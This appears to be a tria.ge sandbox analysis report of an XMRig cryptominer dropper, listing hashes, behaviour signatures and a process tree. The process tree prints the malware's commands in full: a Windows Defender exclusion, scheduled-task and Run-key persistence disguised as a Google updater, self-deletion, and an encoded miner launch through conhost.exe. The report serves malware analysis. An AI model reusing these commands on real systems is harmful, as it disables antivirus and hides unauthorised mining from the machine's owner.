Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1467s -
max time network
1815s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2016 created 1232 2016 XJEzW6M7WvHaF3EX.exe 14 PID 2016 created 1232 2016 XJEzW6M7WvHaF3EX.exe 14 PID 2016 created 1232 2016 XJEzW6M7WvHaF3EX.exe 14 PID 2016 created 1232 2016 XJEzW6M7WvHaF3EX.exe 14 PID 2880 created 1232 2880 updater.exe 14 PID 2880 created 1232 2880 updater.exe 14 PID 2880 created 1232 2880 updater.exe 14 PID 2880 created 1232 2880 updater.exe 14 PID 1208 created 1232 1208 conhost.exe 14 PID 2880 created 1232 2880 updater.exe 14 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral27/memory/2420-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2420-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2484 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2880 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1644 taskeng.exe -
resource yara_rule behavioral27/memory/2420-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2420-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2880 set thread context of 1208 2880 updater.exe 47 PID 2880 set thread context of 2420 2880 updater.exe 54 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2552 schtasks.exe 1624 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2240 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20aabcffbb4fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2016 XJEzW6M7WvHaF3EX.exe 2016 XJEzW6M7WvHaF3EX.exe 2108 powershell.exe 2016 XJEzW6M7WvHaF3EX.exe 2016 XJEzW6M7WvHaF3EX.exe 2632 powershell.exe 2016 XJEzW6M7WvHaF3EX.exe 2016 XJEzW6M7WvHaF3EX.exe 2016 XJEzW6M7WvHaF3EX.exe 2016 XJEzW6M7WvHaF3EX.exe 2032 powershell.exe 2880 updater.exe 2880 updater.exe 856 powershell.exe 2880 updater.exe 2880 updater.exe 1104 powershell.exe 2880 updater.exe 2880 updater.exe 2880 updater.exe 2880 updater.exe 1208 conhost.exe 1208 conhost.exe 2880 updater.exe 2880 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2108 powershell.exe Token: SeDebugPrivilege 2632 powershell.exe Token: SeDebugPrivilege 2032 powershell.exe Token: SeDebugPrivilege 856 powershell.exe Token: SeDebugPrivilege 1104 powershell.exe Token: SeDebugPrivilege 2880 updater.exe Token: SeAssignPrimaryTokenPrivilege 2240 WMIC.exe Token: SeIncreaseQuotaPrivilege 2240 WMIC.exe Token: SeSecurityPrivilege 2240 WMIC.exe Token: SeTakeOwnershipPrivilege 2240 WMIC.exe Token: SeLoadDriverPrivilege 2240 WMIC.exe Token: SeSystemtimePrivilege 2240 WMIC.exe Token: SeBackupPrivilege 2240 WMIC.exe Token: SeRestorePrivilege 2240 WMIC.exe Token: SeShutdownPrivilege 2240 WMIC.exe Token: SeSystemEnvironmentPrivilege 2240 WMIC.exe Token: SeUndockPrivilege 2240 WMIC.exe Token: SeManageVolumePrivilege 2240 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2240 WMIC.exe Token: SeIncreaseQuotaPrivilege 2240 WMIC.exe Token: SeSecurityPrivilege 2240 WMIC.exe Token: SeTakeOwnershipPrivilege 2240 WMIC.exe Token: SeLoadDriverPrivilege 2240 WMIC.exe Token: SeSystemtimePrivilege 2240 WMIC.exe Token: SeBackupPrivilege 2240 WMIC.exe Token: SeRestorePrivilege 2240 WMIC.exe Token: SeShutdownPrivilege 2240 WMIC.exe Token: SeSystemEnvironmentPrivilege 2240 WMIC.exe Token: SeUndockPrivilege 2240 WMIC.exe Token: SeManageVolumePrivilege 2240 WMIC.exe Token: SeLockMemoryPrivilege 2420 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2632 wrote to memory of 2552 2632 powershell.exe 31 PID 2632 wrote to memory of 2552 2632 powershell.exe 31 PID 2632 wrote to memory of 2552 2632 powershell.exe 31 PID 2484 wrote to memory of 2556 2484 cmd.exe 36 PID 2484 wrote to memory of 2556 2484 cmd.exe 36 PID 2484 wrote to memory of 2556 2484 cmd.exe 36 PID 2032 wrote to memory of 2496 2032 powershell.exe 37 PID 2032 wrote to memory of 2496 2032 powershell.exe 37 PID 2032 wrote to memory of 2496 2032 powershell.exe 37 PID 1644 wrote to memory of 2880 1644 taskeng.exe 39 PID 1644 wrote to memory of 2880 1644 taskeng.exe 39 PID 1644 wrote to memory of 2880 1644 taskeng.exe 39 PID 1104 wrote to memory of 1624 1104 powershell.exe 46 PID 1104 wrote to memory of 1624 1104 powershell.exe 46 PID 1104 wrote to memory of 1624 1104 powershell.exe 46 PID 2880 wrote to memory of 1208 2880 updater.exe 47 PID 1180 wrote to memory of 2240 1180 cmd.exe 52 PID 1180 wrote to memory of 2240 1180 cmd.exe 52 PID 1180 wrote to memory of 2240 1180 cmd.exe 52 PID 2880 wrote to memory of 2420 2880 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1232
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2108
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2552
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2556
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2496
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:856
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1624
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1208
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2240
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1220
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {B9A7AE42-BAFD-4B45-9E71-2FF130A2A27C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
535KB
MD54752542718e7be92faef3176a222cf38
SHA100a5e93f2f6005755ea408ce4058dfce7bc272a4
SHA2561307f7f61fd3cc9574eb4753c960a3ce9a482487b852cfe2968e4acfe2cf872e
SHA5129052e758de129459649bad65374049f5cec04accbf8c2128b71a1cb7d2797c1c770e07944578074346d22b0cb48f685f154e354440d9246ea982eec7632d2b46
-
Filesize
1.4MB
MD57539255761cbe08fa87da65e54d73c78
SHA1a2b5385774948e470b6e2da9abad72fd6943621d
SHA2561ccc8ff0542be8951a6db9197d823e2f171ffd7a7f3c89707d49fb592ab69225
SHA512e5fdb457a642f7508378733f9da408bdb1b773dfc431e3cb627e4fd4926097ead7c810413638a01b206bc725ab629b83bd0886cb1d7c5d84ff6027b5bf900aa5
-
Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XVWXIBRVAZAMAJ7MIQ0P.temp
Filesize7KB
MD522160f3581554dff17ddae1c6e15474a
SHA143c569dc81477623c3cb430b5d512d95f68b85de
SHA2567d76426117b1992a1e69d6b5bcddb0d3028dc576ba3b58775fd9a3bb73c3498f
SHA512b83573d1bf8d53fcf80f86feabb1128dc82be5210a2ccaafe81a5d58a1f57a6a87fe60c9cff418de0faba2a70d3d4699527b54fc2c79ccd4d1f251fd6e6d1cb0
-
Filesize
559KB
MD5ddc98f92015ca95c0acfcb082e6f5daa
SHA1842c2f901867ee6b5a5d4f1b2e9758cfb59c0b18
SHA256c393fb25b100383b61f600c05919aba4fdb664d934c3efba336801b1e07b407c
SHA5123c408bd89569a95d725acb391a2ca419f4bd7dcf31859b482ff898e6dc271346722dcb21f2ec43ae47574275529ffbaa36d5d12219979812fe955c7d3c35546b